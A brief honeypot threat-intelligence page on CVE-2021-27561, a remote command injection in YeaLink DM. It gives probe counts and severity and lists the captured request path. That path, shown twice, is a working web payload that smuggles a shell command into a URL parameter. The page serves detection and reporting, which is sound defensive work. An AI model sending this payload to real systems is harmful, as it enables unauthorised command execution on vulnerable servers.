CVE-2021-27561: YeaLink DM 3.6.0.20 - Remote Command Injection

HoneyLabs honeypots recorded 1 probes matching CVE-2021-27561 from 1 distinct source IP addresses in the last 7 days. Severity is rated critical.

This CVE is on CISA's Known Exploited Vulnerabilities list.

Request paths that identify it

• /premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;

Addresses probing it

Networks it comes from

Captured requests

• /premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;